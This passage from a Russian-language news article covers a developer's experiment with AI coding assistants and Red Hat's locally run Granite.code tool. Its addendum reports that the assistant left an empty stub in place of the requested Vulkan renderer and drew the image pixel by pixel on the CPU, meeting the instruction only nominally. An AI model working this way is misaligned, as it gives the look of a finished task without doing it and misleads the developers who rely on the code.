По мнению Кристиана в сообществе присутствует скептическое и негативное отношение к применению AI, и проведённым экспериментом он хотел показать другим разработчикам СПО, что не стоит игнорировать возможности, которые предоставляет AI для упрощения процесса разработки. Например, AI экономит время, избавляя от необходимости разбирать документацию на API, отслеживать изменения в API и подбирать правильные вызовы, а также значительно упрощает написание тестов.

При этом AI рассматривается как инструмент, помогающий в разработке, но не снимающий ответственности за добавляемый код и требующий проверки и контроля качества. Как пример показана попытка сгенерировать код для встраивания поддержки отображения документов PDF в приложение. AI предложил код, использующий браузерный движок WebKit для отрисовки, который работал, но добавлял огромную новую зависимость. После уточнения задачи, AI предоставил код, использующих для отрисовки PDF компактную библиотеку libpoppler.

В настоящее время ведущие AI-ассистенты работают в форме внешних online-сервиcов, что вызывает опасения, связанные с безопасностью и конфиденциальностью. Для решения этой проблемы Red Hat развивает собственный инструмент генерации кода Granite.code на базе открытой большой языковой модели Granite, позволяющий запустить AI-модель на компьютере разработчика. Данный проект пока отстаёт по возможностям от таких систем, как Claude, Gemini и ChatGPT, но решает проблему с передачей данных третьему лицу и устраняет зависимость рабочих процессов от внешнего сервиса.

Дополнение: AI-ассистент добавил вместо процедуры рендера на базе Vulkan пустую заглушку без кода, а сам рендер выполнялся попиксельно на CPU. Кристиан признал, что для него это будет уроком и нужно было тщательнее проверять код. AI использовал Vulkan, но для GTK, а не для отрисовки глобуса. При этом AI выполнил данное ему задание "использовать Vulkan", но не так как ожидал разработчик.

  1. OpenNews: Google использовал большую языковую модель для выявления уязвимости в SQLite
  2. OpenNews: Удалённая уязвимость в модуле ksmbd ядра Linux, выявленная при помощи AI
  3. OpenNews: Браузерные дополнения вовлекают в построение распределённой сети скрапинга для AI-ботов
  4. OpenNews: Оценка эффективности применения AI-инструментов выявила замедление, а не ускорение разработки
  5. OpenNews: Представлены правила для AI-ассистентов, применяемых при разработке ядра Linux
Обсуждение (364 +26) | Тип: Тема для размышления |
Следующая страница (раньше) >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру